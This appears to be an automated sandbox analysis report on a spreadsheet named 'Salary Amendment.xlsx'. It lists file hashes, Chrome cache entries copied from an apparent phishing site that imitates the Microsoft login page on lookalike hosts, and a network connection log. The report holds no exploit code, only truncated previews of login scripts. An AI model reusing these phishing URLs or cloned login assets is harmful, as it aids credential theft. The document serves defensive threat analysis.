SSDEEP:	192:U23y7LVYADenIY9uOqc4gIVH4VoXLIOjMuj4lMNVWmn4GHF5y8WC:U23y7hDTYvquI14i5EOvWmNl5y8h
MD5:	439A53994F1A9C860C7787ED5100CA0C
SHA1:	15BA120F64BBF6A59A457841B10DF0D6D1B4574C
SHA-256:	441BFA485FB0EB8AD2BE7001209868B57C41769CAE9512A774419F5882C093E6
SHA-512:	FB6002797BD9E28A352BCBE4643BC7E998C562218D9189AE879E1DC605BC79C3234435029B46667724E5C85A475A72C8DDDED17E3EEFD7791EC1FB21822D3804
Malicious:	false
Preview:	!function(){function e(){return(x.location.protocol\|\|"").concat("//",x.location.hostname\|\|x.location.host)}function r(e){if(e){try{var r=/function (.{1,})\(/,n=r.exec(e.constructor.toString());return n&&n.length>1?n[1]:""}catch(e){}}return""}function n(e,r,n){if(e&&r){n\|\|(e=e.toLowerCase());for(var t=0;t<r.length;t++){var o=r[t];if(o&&(n\|\|(o=o.toLowerCase()),e.indexOf(o)>=0)){return r[t]}}}return null}function t(e,r,n){return!!(0===n&&r&&r.indexOf("Script error.")>=0)}function o(e,r){.if(!e.expectedVersion\|\|e.expectedVersion!==E().jquery){if(r&&r.indexOf("jQuery.easing[jQuery.easing.def] is not a function")>=0){return!0}if(r&&r.indexOf("The bound jQuery version is not the expected version -- loaded")>=0){return!0}}return!1}function i(e){if(e){try{if("string"!==E.type(e)&&JSON&&JSON.stringify){var n=r(e),t=JSON.stringify(e);return t&&"{}"!==t\|\|(e.error&&(e=e.error,n=r(e)),(t=JSON.stringify(e))&&"{}"!==t\|\|(t=e.toString())),n+":"+t}}catch(e){}}return""+(e\|\|"")}function a(e,r){return{."sig

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 342 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5139
Entropy (8bit):	7.865234009830226
Encrypted:	false
SSDEEP:	96:oX2DsRVNYc82nTGTirCPqKO1gDPFjDiwK3aM5yO/bUlVV6JKo5N9jIMw7RLW1ZHb:ofRgc82nTprQsgDNDP7QgVVoH9+kMK9
MD5:	8B36337037CFF88C3DF203BB73D58E41
SHA1:	1ADA36FA207B8B96B2A5F55078BFE2A97ACEAD0E
SHA-256:	E4E1E65871749D18AEA150643C07E0AAB2057DA057C6C57EC1C3C43580E1C898
SHA-512:	97D8CC97C4577631D8D58C0D9276EE55E4B80128080220F77E01E45385C20FE55D208122A8DFA5DADCB87543B1BC291B98DBBA44E8A2BA90D17C638C15D48793
Malicious:	false
Preview:	.PNG........IHDR...V...H.............tEXtSoftware.Adobe ImageReadyq.e<...%iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.0 (Macintosh)" xmpMM:InstanceID="xmp.iid:DB120779422011EA9888910153D3A5E6" xmpMM:DocumentID="xmp.did:DB12077A422011EA9888910153D3A5E6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DB120777422011EA9888910153D3A5E6" stRef:documentID="xmp.did:DB120778422011EA9888910153D3A5E6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>P.WI....IDATx..]]l.......(.5.K0P..0...E.qT..J X)F.(5X....J.}(m.R5.Q...RUEUPU~.....qp@.b......L...k.m"0......"c.3

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (61177)
Category:	downloaded
Size (bytes):	113378
Entropy (8bit):	5.285066693137765
Encrypted:	false
SSDEEP:	1536:QpHDgBvguhw+EViazA/PWrF7qvEAFiQcpmQhSeC1Jzc6VUW3:xkXhp6VU0
MD5:	9C837C2B6C9C441656C3C64BE6FC6401
SHA1:	D44AA83093C4109DDD8FFAEA60755F05D1BFE7D3
SHA-256:	68C2994E21A564345EB3B4091DD2334C9CBDDB0AECDA45EE963C6DE2E1629B93
SHA-512:	AF04835BCC621FE1793C4661FDB03EDEA16219BAA77F1198AA419F771B6B3DCDAC3DA92676568C207022251483AB79C75AB6DF2CE94924748FF9CEBF64AFF5A2
Malicious:	false
URL:	https://tvrcedjrhte.cpchenm.com/ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css
Preview:	/! Copyright (C) Microsoft Corporation. All rights reserved. //*!.------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------..This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise...//-----------------------------------------------------------------------------.twbs-bootstrap-sass (3.3.0).//-----------------------------------------------------------------------------..The MIT License (MIT)..Copyright (c) 2013 Twitter, Inc..Permission is hereby granted, free of charge, to any person

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65450), with CRLF line terminators
Category:	downloaded
Size (bytes):	119648
Entropy (8bit):	5.356165204896218
Encrypted:	false
SSDEEP:	3072:/Yh8eip3huuf6IidlrvakdtQ47GKvPhQDvMwFdm:/i8eGRuufsr5zQ47GKvPyDvG
MD5:	75CF78D0E38C65A538AD253CA9E48DBE
SHA1:	BF0452E4A42A9AF3B69D5D8C3A3A0433F14921B6
SHA-256:	DF2AA8537C1992C94846A0FFFFAA9031D430D9D0210B9E396EC059AFF62627E0
SHA-512:	81383E4FDAE1F34F8E652F69058D57A2A4BD0A77C2C41C3174BEE0CEBA83A8326229C2A74EAF415BFBD34382B1C442A97C41034F43CD77A391BA9B4DAAE65463
Malicious:	false
URL:	https://tvrcedjrhte.cpchenm.com/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /..!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	17453
Entropy (8bit):	3.890509953257612
Encrypted:	false
SSDEEP:	192:P7FRTHQpmA3ZkXOL25cYty7l6UWUjMJBSab/vR+yzP:P/cpmgkF5+JWUjMp40P
MD5:	7916A894EBDE7D29C2CC29B267F1299F
SHA1:	78345CA08F9E2C3C2CC9B318950791B349211296
SHA-256:	D8F5AB3E00202FD3B45BE1ACD95D677B137064001E171BC79B06826D98F1E1D3
SHA-512:	2180ABE47FBF76E2E0608AB3A4659C1B7AB027004298D81960DC575CC2E912ECCA8C131C6413EBBF46D2AAA90E392EB00E37AED7A79CDC0AC71BA78D828A84C7
Malicious:	false
Preview:	.....Phttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2054)
Category:	downloaded
Size (bytes):	9285
Entropy (8bit):	5.397876465825329
Encrypted:	false
SSDEEP:	192:U23y7LVYADenIY9uOqc4gIVH4VoXLIOjMuj4lMNVWmn4GHF5y8WC:U23y7hDTYvquI14i5EOvWmNl5y8h
MD5:	439A53994F1A9C860C7787ED5100CA0C
SHA1:	15BA120F64BBF6A59A457841B10DF0D6D1B4574C
SHA-256:	441BFA485FB0EB8AD2BE7001209868B57C41769CAE9512A774419F5882C093E6
SHA-512:	FB6002797BD9E28A352BCBE4643BC7E998C562218D9189AE879E1DC605BC79C3234435029B46667724E5C85A475A72C8DDDED17E3EEFD7791EC1FB21822D3804
Malicious:	false
URL:	https://tvrcedjrhte.cpchenm.com/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js
Preview:	!function(){function e(){return(x.location.protocol\|\|"").concat("//",x.location.hostname\|\|x.location.host)}function r(e){if(e){try{var r=/function (.{1,})\(/,n=r.exec(e.constructor.toString());return n&&n.length>1?n[1]:""}catch(e){}}return""}function n(e,r,n){if(e&&r){n\|\|(e=e.toLowerCase());for(var t=0;t<r.length;t++){var o=r[t];if(o&&(n\|\|(o=o.toLowerCase()),e.indexOf(o)>=0)){return r[t]}}}return null}function t(e,r,n){return!!(0===n&&r&&r.indexOf("Script error.")>=0)}function o(e,r){.if(!e.expectedVersion\|\|e.expectedVersion!==E().jquery){if(r&&r.indexOf("jQuery.easing[jQuery.easing.def] is not a function")>=0){return!0}if(r&&r.indexOf("The bound jQuery version is not the expected version -- loaded")>=0){return!0}}return!1}function i(e){if(e){try{if("string"!==E.type(e)&&JSON&&JSON.stringify){var n=r(e),t=JSON.stringify(e);return t&&"{}"!==t\|\|(e.error&&(e=e.error,n=r(e)),(t=JSON.stringify(e))&&"{}"!==t\|\|(t=e.toString())),n+":"+t}}catch(e){}}return""+(e\|\|"")}function a(e,r){return{."sig

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3448), with CRLF line terminators
Category:	downloaded
Size (bytes):	3450
Entropy (8bit):	5.129297156445637
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLGzUOsusrfsosry:a2IYz95qTdBa7
MD5:	F948804E2175DF3803EF44B2D04E46D0
SHA1:	6BF0EFAA750BB657C67F93DBE632B8E53F2D6D13
SHA-256:	CC0297A024DE1FAE0E1F8613E44FDA397AB344175E97B2A73F3BC439D34A423C
SHA-512:	76C8045F5524535C49201024A5EE1C439F45DD90EC1A3EC2ED736D86B75F13949FEBE8FE1C70D8506A930F3C6900E399B73338F8BBB75B02057D5EFF4A28390B
Malicious:	false
URL:	https://tvrcehrvetbr.cpchenm.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45797)
Category:	downloaded
Size (bytes):	406986
Entropy (8bit):	5.31836569617146
Encrypted:	false
SSDEEP:	3072:f5+ROkZBKxn7oW/sKni2JcPwRTQx4J77m7mBdhh2uZifxOjrCpaLmnF:uOkWxp/Fi9Nxe7maZc7F
MD5:	E40761677762EAB0692F86B259C7D744
SHA1:	34A9B50CEC6E1163CEEFCD4D394DB6524C89A854
SHA-256:	DA4A8DF0C326292B5BEE9C732B3C962FD67AAF2F99D850F1BF65068D573C5619
SHA-512:	04FA1D6074AD24E3ABAB53D1DE116A6B39B4BE3DFABC082427F1C5A169E50527561F160CC133C2AC4AEDC4E7AC404572F60E531A4618111EA74D138B2B0DD034
Malicious:	false
URL:	https://tvrcedjrhte.cpchenm.com/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[8],Array(533).concat([f

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	190152
Entropy (8bit):	5.348678574819375
Encrypted:	false
SSDEEP:	3072:0+mTq9mTuZEOHEXp6WXWkYVlMBMwMlJNbdffVv6GhL+rUWxa:STekBWkYVdLlJNbr6m+rUGa
MD5:	4877EFC88055D60953886EC55B04DE34
SHA1:	2341B026A3E2A3B01AFA1A39D1706840D75E09B3
SHA-256:	8405362EB8F09DF13AE244DE155B51B1577274673D9728B6C81CD0278A63C8B0
SHA-512:	625844EDC37594D5C2F7622BD1B59278BF68ABB2FA22476C56826433C961C7B1924858A7588F8B6284D3C5AC8738ECB895EEC949DE18667A98C04A59CB03DAC0
Malicious:	false
Preview:	(window.telemetry_webpackJsonp=window.telemetry_webpackJsonp\|\|[]).push([[2],[,,,function(e,t,n){"use strict";n.r(t),n.d(t,"ValueKind",(function(){return r.e})),n.d(t,"EventLatency",(function(){return r.a})),n.d(t,"EventPersistence",(function(){return r.b})),n.d(t,"TraceLevel",(function(){return r.d})),n.d(t,"AppInsightsCore",(function(){return i.a})),n.d(t,"BaseCore",(function(){return d})),n.d(t,"_ExtendedInternalMessageId",(function(){return r.f})),n.d(t,"EventPropertyType",(function(){return r.c})),n.d(t,"ESPromise",(function(){return g})),n.d(t,"ESPromiseScheduler",(function(){return C})),n.d(t,"ValueSanitizer",(function(){return I})),n.d(t,"NotificationManager",(function(){return E.a})),n.d(t,"BaseTelemetryPlugin",(function(){return S.a})),n.d(t,"ProcessTelemetryContext",(function(){return N.a})),n.d(t,"MinChannelPriorty",(function(){return w.a})),n.d(t,"EventsDiscardedReason",(function(){return P.a})),n.d(t,"DiagnosticLogger",(function(){return c.a})),n.d(t,"LoggingSeverity",(fun

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2313
Entropy (8bit):	4.63807884589442
Encrypted:	false
SSDEEP:	48:VkrI97INZMvFMqJLQ0jBbkOB5GwUpYrALOsMdAuIiQ3G:mI972ZMvOqVRj9kOB8wUwvsOEiQW
MD5:	4D54A0F81304EA9986C4176FE3ADCF18
SHA1:	1EBB1F26C32BD6D3D4ACDFB5769CB41804AC42CD
SHA-256:	2B7CD10968F38F86B3D68FAC6D8AC12A909BC04B37D48710A629822AD274AE8B
SHA-512:	D5BDA1FED0AFD2DAC75320AC08FE1F53477D7039485935122FC9175861B00F294349D777A89F5635DAA788C0C94ECDC0060E6772C620796DEE4EBE341109B9D6
Malicious:	false
Preview:	(function () {. const waitForAndSetValue = function (selector, value) {. findElement(selector).then((element) => simulateTyping(element, value));. };. async function simulateTyping(. element,. inputStr,. minDelay = 1,. maxDelay = 15. ) {. for (const char of inputStr.split("")) {. await new Promise((resolve) =>. setTimeout(resolve, getRandomInt(minDelay, maxDelay)). );. element.value += char;. triggerEvent(element, "input");. }. }. const findElement = function (selector) {. return new Promise(function (resolve, reject) {. if (typeof document === "undefined") {. reject(new Error("Document object doesn't exist."));. return;. }. var element = document.querySelector(selector);. if (element) {. resolve(element);. } else {. var observer = new MutationObserver(function (mutations) {. var element = document.querySelector(selector);. if (element) {. resolve(e

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45797)
Category:	dropped
Size (bytes):	406986
Entropy (8bit):	5.31836569617146
Encrypted:	false
SSDEEP:	3072:f5+ROkZBKxn7oW/sKni2JcPwRTQx4J77m7mBdhh2uZifxOjrCpaLmnF:uOkWxp/Fi9Nxe7maZc7F
MD5:	E40761677762EAB0692F86B259C7D744
SHA1:	34A9B50CEC6E1163CEEFCD4D394DB6524C89A854
SHA-256:	DA4A8DF0C326292B5BEE9C732B3C962FD67AAF2F99D850F1BF65068D573C5619
SHA-512:	04FA1D6074AD24E3ABAB53D1DE116A6B39B4BE3DFABC082427F1C5A169E50527561F160CC133C2AC4AEDC4E7AC404572F60E531A4618111EA74D138B2B0DD034
Malicious:	false
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[8],Array(533).concat([f

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1592
Entropy (8bit):	4.205005284721148
Encrypted:	false
SSDEEP:	48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh
MD5:	4E48046CE74F4B89D45037C90576BFAC
SHA1:	4A41B3B51ED787F7B33294202DA72220C7CD2C32
SHA-256:	8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93
SHA-512:	B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE903CF
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2313
Entropy (8bit):	4.63807884589442
Encrypted:	false
SSDEEP:	48:VkrI97INZMvFMqJLQ0jBbkOB5GwUpYrALOsMdAuIiQ3G:mI972ZMvOqVRj9kOB8wUwvsOEiQW
MD5:	4D54A0F81304EA9986C4176FE3ADCF18
SHA1:	1EBB1F26C32BD6D3D4ACDFB5769CB41804AC42CD
SHA-256:	2B7CD10968F38F86B3D68FAC6D8AC12A909BC04B37D48710A629822AD274AE8B
SHA-512:	D5BDA1FED0AFD2DAC75320AC08FE1F53477D7039485935122FC9175861B00F294349D777A89F5635DAA788C0C94ECDC0060E6772C620796DEE4EBE341109B9D6
Malicious:	false
Preview:	(function () {. const waitForAndSetValue = function (selector, value) {. findElement(selector).then((element) => simulateTyping(element, value));. };. async function simulateTyping(. element,. inputStr,. minDelay = 1,. maxDelay = 15. ) {. for (const char of inputStr.split("")) {. await new Promise((resolve) =>. setTimeout(resolve, getRandomInt(minDelay, maxDelay)). );. element.value += char;. triggerEvent(element, "input");. }. }. const findElement = function (selector) {. return new Promise(function (resolve, reject) {. if (typeof document === "undefined") {. reject(new Error("Document object doesn't exist."));. return;. }. var element = document.querySelector(selector);. if (element) {. resolve(element);. } else {. var observer = new MutationObserver(function (mutations) {. var element = document.querySelector(selector);. if (element) {. resolve(e

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4, xresolution=62, yresolution=70, resolutionunit=2, software=paint.net 4.2.9], baseline, precision 8, 50x28, components 3
Category:	dropped
Size (bytes):	987
Entropy (8bit):	6.922003634904799
Encrypted:	false
SSDEEP:	24:PJjxEK0nWpBzo0XxDuLHeOWXG4OZ7DAJuLHenX3D+VRmK9cR+w/b:lxEX4OuERAVwR/QP/b
MD5:	E58AAFC980614A9CD7796BEA7B5EA8F0
SHA1:	D4CAC92DCDE0CAF7C571E6D791101DA94FDBD2CA
SHA-256:	8B34A475187302935336BF43A2BF2A4E0ADB9A1E87953EA51F6FCF0EF52A4A1D
SHA-512:	2DAC06596A11263DF1CFAB03EDA26D0A67B9A4C3BAA6FB6129CDBF0A157C648F5B0F5859B5CA689EFDF80F946BF4D854BA2B2C66877C5CE3897D72148741FCC9
Malicious:	false
Preview:	......JFIF.....H.H.....fExif..MM..................>...........F.(...........1.........N.......H.......H....paint.net 4.2.9....C....................................................................C.........................................................................2..!............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......[.4..lz.....K.S..p.>.9.r9j..'.\.qrW..mo...X9ZV<./x...EX...m.Prj..A.EtG...K..mr....Lc.T.8...nlY.V.{6...R...]..(.y...)^.5V.IVO.W.B.19.R\...f.U.....'..S:..k.6..).f.n._3*....}.y.8.EusH..y.`.mA...W.}...bL..:..b.<f..(lH#R....v._...........9N~S..

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64616)
Category:	downloaded
Size (bytes):	449972
Entropy (8bit):	5.4486277762255035
Encrypted:	false
SSDEEP:	6144:c7PuGBhXlRK2d/ZkpZYRsmA2pmBe9OpRUS4cEHKE0H3NX446:c7DBZkp6umhpsUSuN
MD5:	2330EDFA5D02BA27B4818454A04935E7
SHA1:	405CDD0091FA7D25CE504F71086F488A6193BBD2
SHA-256:	6379D57694ECB499626F889744FB47D1979DDE32C9F95BCAF48E318642A8C292
SHA-512:	895E0ABAFD9444621E421EEEA49C722DFC4590765F7E76C1CFD38ADFA9430F03BBFEA23A37FDF8D8536DBA54ACDF315EF40224FB3D77836531016A341BC9B3D7
Malicious:	false
URL:	https://tvrcedjrhte.cpchenm.com/shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,i,o=n[0],r=n[1],s=0,c=[];s<o.length;s++)

Static File Info

General

File type:	Microsoft Excel 2007+
Entropy (8bit):	7.889342505883091
TrID:	Excel Microsoft Office Open XML Format document (35004/1) 81.40% ZIP compressed archive (8000/1) 18.60%
File name:	Salary Amendment.xlsx
File size:	64'109 bytes
MD5:	a7ca97e2f27630a3552a86a1847ded63
SHA1:	6b35aaa93fef5002b5a5792ce46efe6a8361220c
SHA256:	d49be0254b49fe08f5edab24048a872395709b13038ebecc6460f67b140b8440
SHA512:	9d5b1017cec6af56982e56675cd6f02b3b7c9f37d6f0343b6156377d2fabe6ef2f38561e2e23b145906b91742b8b5e1052d90ef18524bd5fc61760662cb386be
SSDEEP:	1536:TxXbnJjOtKZNCM3pY/e9gSbMJsJVq29LNvzvpXkz:TtbAtfM3pJDysJVqAlLmz
TLSH:	A353E17ED7F5EEA1DD1B82B0C03D0D82661450502B5375AF82A9E3EDE8B6DC3121BE85
File Content Preview:	PK..........!..'`p............[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	2562ab89a7b7bfbf

Static OLE Info

General

Document Type:	OpenXML
Number of OLE Files:	1

OLE File "Salary Amendment.xlsx"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 17:29:11.209803104 CET	49171	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:11.209852934 CET	443	49171	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:11.209907055 CET	49171	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:11.210591078 CET	49171	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:11.210606098 CET	443	49171	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:11.862349987 CET	443	49171	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:11.875783920 CET	49171	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:11.875813961 CET	443	49171	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:11.876856089 CET	443	49171	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:11.876923084 CET	49171	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:11.956825018 CET	49171	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:11.956943035 CET	443	49171	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:11.957200050 CET	49171	443	192.168.2.22	188.114.97.3
Nov 12, 2024 17:29:11.957226992 CET	443	49171	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:12.019973993 CET	49172	443	192.168.2.22	142.250.186.100
Nov 12, 2024 17:29:12.020019054 CET	443	49172	142.250.186.100	192.168.2.22
Nov 12, 2024 17:29:12.020093918 CET	49172	443	192.168.2.22	142.250.186.100
Nov 12, 2024 17:29:12.024602890 CET	49172	443	192.168.2.22	142.250.186.100
Nov 12, 2024 17:29:12.024617910 CET	443	49172	142.250.186.100	192.168.2.22
Nov 12, 2024 17:29:12.163326025 CET	443	49171	188.114.97.3	192.168.2.22
Nov 12, 2024 17:29:12.163382053 CET	49171	443	192.168.2.22	188.114.97.3
